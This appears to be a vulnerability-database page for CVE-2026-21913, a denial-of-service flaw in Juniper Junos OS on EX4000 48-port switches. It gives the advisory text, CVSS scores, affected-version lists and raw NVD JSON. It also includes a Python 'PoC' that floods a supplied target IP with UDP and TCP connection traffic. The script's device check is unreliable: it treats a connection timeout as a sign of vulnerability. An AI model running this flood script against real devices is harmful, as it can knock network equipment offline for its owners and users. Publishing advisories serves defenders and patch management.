Security Vulnerability Report
中文
CVE-2026-21913 CVSS 7.5 HIGH

CVE-2026-21913

Published: 2026-01-15 21:16:08
Last Modified: 2026-01-23 19:40:57

Description

An Incorrect Initialization of Resource vulnerability in the Internal Device Manager (IDM) of Juniper Networks Junos OS on EX4000 models allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS). On EX4000 models with 48 ports (EX4000-48T, EX4000-48P, EX4000-48MP) a high volume of traffic destined to the device will cause an FXPC crash and restart, which leads to a complete service outage until the device has automatically restarted. The following reboot reason can be seen in the output of 'show chassis routing-engine' and as a log message:   reason=0x4000002 reason_string=0x4000002:watchdog + panic with core dump This issue affects Junos OS on EX4000-48T, EX4000-48P and EX4000-48MP: * 24.4 versions before 24.4R2, * 25.2 versions before 25.2R1-S2, 25.2R2. This issue does not affect versions before 24.4R1 as the first Junos OS version for the EX4000 models was 24.4R1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:24.4:r1-s3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:25.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:juniper:ex4000-48mp:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:ex4000-48p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:ex4000-48t:-:*:*:*:*:*:*:* - NOT VULNERABLE
Junos OS 24.4 < 24.4R2 (on EX4000-48T/P/MP)
Junos OS 25.2 < 25.2R1-S2 (on EX4000-48T/P/MP)
Junos OS 25.2 < 25.2R2 (on EX4000-48T/P/MP)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-21913 PoC - Juniper EX4000 DoS # Description: High volume traffic to trigger FXPC crash on EX4000 devices # Note: This is a conceptual PoC for authorized security testing only import socket import time import random def send_traffic_burst(target_ip, target_port=80, duration=30, packet_size=1400): """ Send high volume traffic to trigger resource exhaustion on Juniper EX4000 Args: target_ip: Target device IP address target_port: Target port (default: 80) duration: Attack duration in seconds packet_size: Size of each packet in bytes """ print(f"[*] Starting traffic flood against {target_ip}:{target_port}") print(f"[*] Duration: {duration}s, Packet size: {packet_size} bytes") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) start_time = time.time() packet_count = 0 # Generate payload with random data to simulate traffic payload = bytes([random.randint(0, 255) for _ in range(packet_size)]) try: while time.time() - start_time < duration: try: # Send UDP packets to multiple ports to maximize impact for port in [80, 443, 22, 8080]: sock.sendto(payload, (target_ip, port)) packet_count += 1 # Also send TCP SYN packets tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_sock.settimeout(0.1) try: tcp_sock.connect((target_ip, 80)) except: pass tcp_sock.close() except Exception as e: print(f"[!] Error: {e}") print(f"[*] Sent {packet_count} packets in {duration} seconds") print(f"[*] Average: {packet_count/duration:.2f} packets/second") finally: sock.close() print("[*] Attack completed") def check_device_vulnerability(target_ip): """ Basic check if target appears to be a vulnerable Juniper EX4000 device """ print(f"[*] Checking if {target_ip} is a potential target...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, 443)) print(f"[!] Device at {target_ip} has port 443 open - potential target") return True except socket.timeout: print(f"[*] Connection timeout - device may be vulnerable") return True except: print(f"[*] Unable to determine device status") return False finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_21913_poc.py <target_ip> [duration]") sys.exit(1) target = sys.argv[1] duration = int(sys.argv[2]) if len(sys.argv) > 2 else 30 print("=" * 60) print("CVE-2026-21913 Juniper EX4000 DoS PoC") print("=" * 60) if check_device_vulnerability(target): send_traffic_burst(target, duration=duration) print("\n[*] Wait 60 seconds, then check device status:") print("[*] show chassis routing-engine")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21913", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:07.537", "lastModified": "2026-01-23T19:40:56.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Initialization of Resource vulnerability in the Internal Device Manager (IDM) of Juniper Networks Junos OS on EX4000 models allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\nOn EX4000 models with 48 ports (EX4000-48T, EX4000-48P, EX4000-48MP) a high volume of traffic destined to the device will cause an FXPC crash and restart, which leads to a complete service outage until the device has automatically restarted.\n\n\n\n\nThe following reboot reason can be seen in the output of 'show chassis routing-engine' and as a log message:\n\n  reason=0x4000002 reason_string=0x4000002:watchdog + panic with core dump \n\n\n\n\nThis issue affects Junos OS on EX4000-48T, EX4000-48P and EX4000-48MP:\n\n\n\n * 24.4 versions before 24.4R2,\n * 25.2 versions before 25.2R1-S2, 25.2R2.\n\n\n\n\nThis issue does not affect versions before 24.4R1 as the first Junos OS version for the EX4000 models was 24.4R1."}, {"lang": "es", "value": "Una vulnerabilidad de inicialización incorrecta de recursos en el Administrador de Dispositivos Internos (IDM) de Juniper Networks Junos OS en modelos EX4000 permite a un atacante no autenticado, basado en red, causar una Denegación de Servicio (DoS).\n\nEn los modelos EX4000 con 48 puertos (EX4000-48T, EX4000-48P, EX4000-48MP), un alto volumen de tráfico destinado al dispositivo causará un fallo y reinicio de FXPC, lo que lleva a una interrupción completa del servicio hasta que el dispositivo se haya reiniciado automáticamente.\n\nLa siguiente razón de reinicio se puede ver en la salida de 'show chassis routing-engine' y como un mensaje de registro:\n\nreason=0x4000002 reason_string=0x4000002:watchdog + panic with core dump\n\nEste problema afecta a Junos OS en EX4000-48T, EX4000-48P y EX4000-48MP:\n\n * versiones 24.4 anteriores a 24.4R2,\n * versiones 25.2 anteriores a 25.2R1-S2, 25.2R2.\n\nEste problema no afecta a las versiones anteriores a 24.4R1, ya que la primera versión de Junos OS para los modelos EX4000 fue 24.4R1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-665"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:*", "matchCriteriaId": "C452BDCB-34E3-42D3-8909-2312356EB70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:*", "matchCriteriaId": "2B8158F2-2028-40E9-955F-CFD581A32F60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "1A7233A1-EC7A-4458-9AE1-835480A03A21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s3:*:*:* ... (truncated)